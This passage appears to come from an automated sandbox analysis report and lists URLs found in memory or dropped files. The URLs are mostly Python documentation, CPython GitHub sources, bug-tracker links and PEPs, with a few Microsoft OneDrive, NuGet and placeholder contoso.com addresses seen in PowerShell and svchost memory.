Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34641
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34651
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34659
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34670
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34687
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34790
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34829
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34850
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=34898
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35047
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35059
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35081
Source: 3.8.html.17.dr, 3.11.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35134
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35153
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35224
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35283
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35345
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35431
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35459
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35471
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35537
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35582
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35606
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35664
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35702
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35713
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35766
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35810
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35813
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35864
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35884
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35886
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35892
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35900
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35904
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36004
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36012
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36016
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36018
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36027
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36048
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36084
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36085
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36127
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36264
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36268
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36297
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36320
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36326
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36348
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36381
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36384
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36465
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36475
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36492
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36540
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36546
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36588
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36623
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36669
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36673
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36676
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36707
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36721
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36722
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36728
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36763
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36772
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36785
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36793
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36817
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36829
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36887
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36895
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36917
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36921
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36933
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36952
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36974
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36999
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37007
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37027
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37028
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37032
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37128
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37178
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37221
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37228
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37351
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37412
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37481
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37627
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37765
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37819
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37834
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37951
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37966
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38234
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38944
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42967
Source: 3.1.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4384
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43882
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4603
Source: 3.1.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4707
Source: 3.1.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5237
Source: 3.1.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5675
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5680
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=6584
Source: 3.8.html.17.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9372
Source: bisect.html.17.dr	String found in binary or memory: https://code.activestate.com/recipes/577197-sortedcollection/
Source: whatnow.html.17.dr	String found in binary or memory: https://code.activestate.com/recipes/langs/python/
Source: 3.1.html.17.dr	String found in binary or memory: https://codereview.appspot.com/53094
Source: powershell.exe, 00000008.00000002.2397605740.000002E7E43BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.2397605740.000002E7E43BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.2397605740.000002E7E43BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: tkinter.ttk.html.17.dr	String found in binary or memory: https://core.tcl.tk/tips/doc/trunk/tip/48.md
Source: 3.8.html.17.dr, 3.11.html.17.dr	String found in binary or memory: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10735
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3164.html
Source: 3.8.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3986.html
Source: uuid.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc4122.html
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5424.html
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5424.html#section-6
Source: macos.py.17.dr	String found in binary or memory: https://developer.apple.com/library/archive/documentation/FileManagement/Conceptual/FileSystemProgra
Source: general.html.17.dr	String found in binary or memory: https://devguide.python.org/
Source: general.html.17.dr	String found in binary or memory: https://devguide.python.org/developer-workflow/development-cycle/
Source: 3.8.html.17.dr	String found in binary or memory: https://devguide.python.org/development-tools/clinic/
Source: index.html8.17.dr	String found in binary or memory: https://devguide.python.org/docquality/#helping-with-documentation
Source: general.html.17.dr	String found in binary or memory: https://devguide.python.org/setup/
Source: unix.html0.17.dr	String found in binary or memory: https://devguide.python.org/setup/#get-the-source-code
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://docs.djangoproject.com/en/stable/topics/logging/#configuring-logging
Source: unix.html0.17.dr	String found in binary or memory: https://docs.fedoraproject.org/en-US/package-maintainers/Packaging_Tutorial_GNU_Hello/
Source: whatnow.html.17.dr	String found in binary or memory: https://docs.python.org
Source: index.html8.17.dr	String found in binary or memory: https://docs.python.org/
Source: base64.py.17.dr	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: general.html.17.dr	String found in binary or memory: https://docs.python.org/3/
Source: editors.html.17.dr, embedding.html.17.dr, xml.sax.handler.html.17.dr, asyncio-queue.html.17.dr, asyncio-sync.html.17.dr, about.html.17.dr, bisect.html.17.dr, xml.sax.reader.html.17.dr, audit_events.html.17.dr, unittest.mock.html.17.dr, coro.html.17.dr, gen.html.17.dr, capsule.html.17.dr, 3.8.html.17.dr, uuid.html.17.dr, typeobj.html.17.dr, interactive.html.17.dr, perfmaps.html.17.dr, unicode.html.17.dr, init_config.html.17.dr, logging-cookbook.html.17.dr	String found in binary or memory: https://docs.python.org/3/_static/og-image.png
Source: about.html.17.dr	String found in binary or memory: https://docs.python.org/3/about.html
Source: capsule.html.17.dr	String found in binary or memory: https://docs.python.org/3/c-api/capsule.html
Source: coro.html.17.dr	String found in binary or memory: https://docs.python.org/3/c-api/coro.html
Source: gen.html.17.dr	String found in binary or memory: https://docs.python.org/3/c-api/gen.html
Source: init_config.html.17.dr	String found in binary or memory: https://docs.python.org/3/c-api/init_config.html
Source: long.html.17.dr	String found in binary or memory: https://docs.python.org/3/c-api/long.html
Source: perfmaps.html.17.dr	String found in binary or memory: https://docs.python.org/3/c-api/perfmaps.html
Source: slice.html.17.dr	String found in binary or memory: https://docs.python.org/3/c-api/slice.html
Source: typeobj.html.17.dr	String found in binary or memory: https://docs.python.org/3/c-api/typeobj.html
Source: unicode.html.17.dr	String found in binary or memory: https://docs.python.org/3/c-api/unicode.html
Source: contents.html.17.dr	String found in binary or memory: https://docs.python.org/3/contents.html
Source: general.html.17.dr	String found in binary or memory: https://docs.python.org/3/download.html
Source: embedding.html.17.dr	String found in binary or memory: https://docs.python.org/3/extending/embedding.html
Source: general.html.17.dr	String found in binary or memory: https://docs.python.org/3/faq/general.html
Source: genindex-I.html.17.dr	String found in binary or memory: https://docs.python.org/3/genindex-I.html
Source: genindex-K.html.17.dr	String found in binary or memory: https://docs.python.org/3/genindex-K.html
Source: genindex-Q.html.17.dr	String found in binary or memory: https://docs.python.org/3/genindex-Q.html
Source: genindex-S.html.17.dr	String found in binary or memory: https://docs.python.org/3/genindex-S.html
Source: genindex-Symbols.html.17.dr	String found in binary or memory: https://docs.python.org/3/genindex-Symbols.html
Source: genindex-Z.html.17.dr	String found in binary or memory: https://docs.python.org/3/genindex-Z.html
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://docs.python.org/3/howto/logging-cookbook.html
Source: sorting.html.17.dr	String found in binary or memory: https://docs.python.org/3/howto/sorting.html
Source: index.html8.17.dr	String found in binary or memory: https://docs.python.org/3/index.html
Source: asyncio-api-index.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio-api-index.html
Source: asyncio-policy.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio-policy.html
Source: asyncio-queue.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio-queue.html
Source: asyncio-sync.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio-sync.html
Source: asyncio.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio.html
Source: audit_events.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/audit_events.html
Source: bdb.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/bdb.html
Source: bisect.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/bisect.html
Source: codeop.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/codeop.html
Source: tkinter.ttk.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/tkinter.ttk.html
Source: unittest.mock.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/unittest.mock.html
Source: uuid.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/uuid.html
Source: xml.etree.elementtree.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/xml.etree.elementtree.html
Source: xml.sax.handler.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/xml.sax.handler.html
Source: xml.sax.reader.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/xml.sax.reader.html
Source: general.html.17.dr	String found in binary or memory: https://docs.python.org/3/license.html
Source: introduction.html.17.dr	String found in binary or memory: https://docs.python.org/3/reference/introduction.html
Source: toplevel_components.html.17.dr	String found in binary or memory: https://docs.python.org/3/reference/toplevel_components.html
Source: search.html.17.dr	String found in binary or memory: https://docs.python.org/3/search.html
Source: interactive.html.17.dr	String found in binary or memory: https://docs.python.org/3/tutorial/interactive.html
Source: interpreter.html.17.dr	String found in binary or memory: https://docs.python.org/3/tutorial/interpreter.html
Source: whatnow.html.17.dr	String found in binary or memory: https://docs.python.org/3/tutorial/whatnow.html
Source: editors.html.17.dr	String found in binary or memory: https://docs.python.org/3/using/editors.html
Source: unix.html0.17.dr	String found in binary or memory: https://docs.python.org/3/using/unix.html
Source: 3.1.html.17.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/3.1.html
Source: 3.8.html.17.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/3.8.html
Source: index.html8.17.dr	String found in binary or memory: https://docs.python.org/dev/
Source: about.html.17.dr	String found in binary or memory: https://docutils.sourceforge.io/
Source: about.html.17.dr	String found in binary or memory: https://docutils.sourceforge.io/rst.html
Source: unix.html0.17.dr	String found in binary or memory: https://en.opensuse.org/Portal:Packaging
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE4B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE4EF000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1758748642.00000224FE3FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE4B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE493000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1758748642.00000224FE4F7000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1758748642.00000224FE4B2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1758748642.00000224FE4D8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1758748642.00000224FE4E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE4B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://gist.github.com/vsajip/4b227eeec43817465ca835ca66f75e2b
Source: perfmaps.html.17.dr	String found in binary or memory: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/tools/perf/Documentation/jit
Source: powershell.exe, 00000008.00000002.2357945317.000002E7D4568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: __init__.py.17.dr	String found in binary or memory: https://github.com/pygments/pygments/archive/master.zip#egg=Pygments-dev
Source: cmdline.py.17.dr	String found in binary or memory: https://github.com/pygments/pygments/issues
Source: wheel.py.17.dr	String found in binary or memory: https://github.com/pypa/pip/issues/1150)
Source: req_file.cpython-312.pyc.17.dr	String found in binary or memory: https://github.com/pypa/pip/pull/3514
Source: egg_link.cpython-312.pyc.17.dr	String found in binary or memory: https://github.com/pypa/setuptools/issues/4167).
Source: general.html.17.dr	String found in binary or memory: https://github.com/python/cpython/
Source: about.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/about.rst
Source: capsule.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/capsule.rst
Source: coro.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/coro.rst
Source: gen.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/gen.rst
Source: init_config.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/init_config.rst
Source: long.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/long.rst
Source: perfmaps.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/perfmaps.rst
Source: slice.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/slice.rst
Source: typeobj.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/typeobj.rst
Source: unicode.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/unicode.rst
Source: contents.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/contents.rst
Source: embedding.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/extending/embedding.rst
Source: general.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/faq/general.rst
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/logging-cookbook.rst
Source: sorting.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/sorting.rst
Source: asyncio-api-index.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-api-index.rst
Source: asyncio-policy.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-policy.rst
Source: asyncio-queue.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-queue.rst
Source: asyncio-sync.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-sync.rst
Source: asyncio.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio.rst
Source: audit_events.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/audit_events.rst
Source: bdb.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/bdb.rst
Source: bisect.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/bisect.rst
Source: codeop.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/codeop.rst
Source: tkinter.ttk.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/tkinter.ttk.rst
Source: unittest.mock.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/unittest.mock.rst
Source: uuid.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/uuid.rst
Source: xml.etree.elementtree.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/xml.etree.elementtree.rst
Source: xml.sax.handler.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/xml.sax.handler.rst
Source: xml.sax.reader.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/xml.sax.reader.rst
Source: introduction.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/reference/introduction.rst
Source: toplevel_components.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/reference/toplevel_components.rst
Source: interactive.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/interactive.rst
Source: interpreter.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/interpreter.rst
Source: whatnow.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/whatnow.rst
Source: editors.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/using/editors.rst
Source: unix.html0.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/using/unix.rst
Source: 3.1.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/3.1.rst
Source: 3.8.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/3.8.rst
Source: general.html.17.dr	String found in binary or memory: https://github.com/python/cpython/issues
Source: 3.8.html.17.dr	String found in binary or memory: https://github.com/python/cpython/issues/83571
Source: 3.8.html.17.dr	String found in binary or memory: https://github.com/python/cpython/issues/83743
Source: 3.8.html.17.dr	String found in binary or memory: https://github.com/python/cpython/issues/85272
Source: 3.8.html.17.dr	String found in binary or memory: https://github.com/python/cpython/issues/87451
Source: asyncio.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/asyncio/
Source: asyncio-sync.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/asyncio/locks.py
Source: asyncio-queue.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/asyncio/queues.py
Source: bdb.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/bdb.py
Source: bisect.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/bisect.py
Source: codeop.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/codeop.py
Source: tkinter.ttk.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/tkinter/ttk.py
Source: unittest.mock.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/unittest/mock.py
Source: uuid.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/uuid.py
Source: xml.etree.elementtree.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/xml/etree/ElementTree.py
Source: xml.sax.handler.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/xml/sax/handler.py
Source: xml.sax.reader.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/xml/sax/xmlreader.py
Source: about.html.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Misc/ACKS
Source: unix.html0.17.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/README.rst
Source: bisect.html.17.dr	String found in binary or memory: https://grantjenks.com/docs/sortedcollections/
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://gunicorn.org/
Source: general.html.17.dr	String found in binary or memory: https://infra.psf.io
Source: interactive.html.17.dr	String found in binary or memory: https://ipython.org/
Source: general.html.17.dr	String found in binary or memory: https://ir.cwi.nl/pub/18204
Source: introduction.html.17.dr	String found in binary or memory: https://ironpython.net/
Source: decoder.cpython-312.pyc.17.dr	String found in binary or memory: https://json.org
Source: general.html.17.dr	String found in binary or memory: https://mail.python.org/mailman/listinfo/python-list
Source: general.html.17.dr	String found in binary or memory: https://mail.python.org/mailman3/lists/python-announce-list.python.org/
Source: general.html.17.dr	String found in binary or memory: https://mail.python.org/mailman3/lists/python-dev.python.org/
Source: whatnow.html.17.dr	String found in binary or memory: https://mail.python.org/pipermail/
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://nng.nanomsg.org/
Source: powershell.exe, 00000008.00000002.2397605740.000002E7E44F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2397605740.000002E7E43BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE4B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 0000000A.00000003.1758748642.00000224FE462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: general.html.17.dr	String found in binary or memory: https://peps.python.org/
Source: general.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0005/
Source: editors.html.17.dr, sorting.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0008/
Source: 3.1.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0372/
Source: general.html.17.dr	String found in binary or memory: https://peps.python.org/pep-0373/
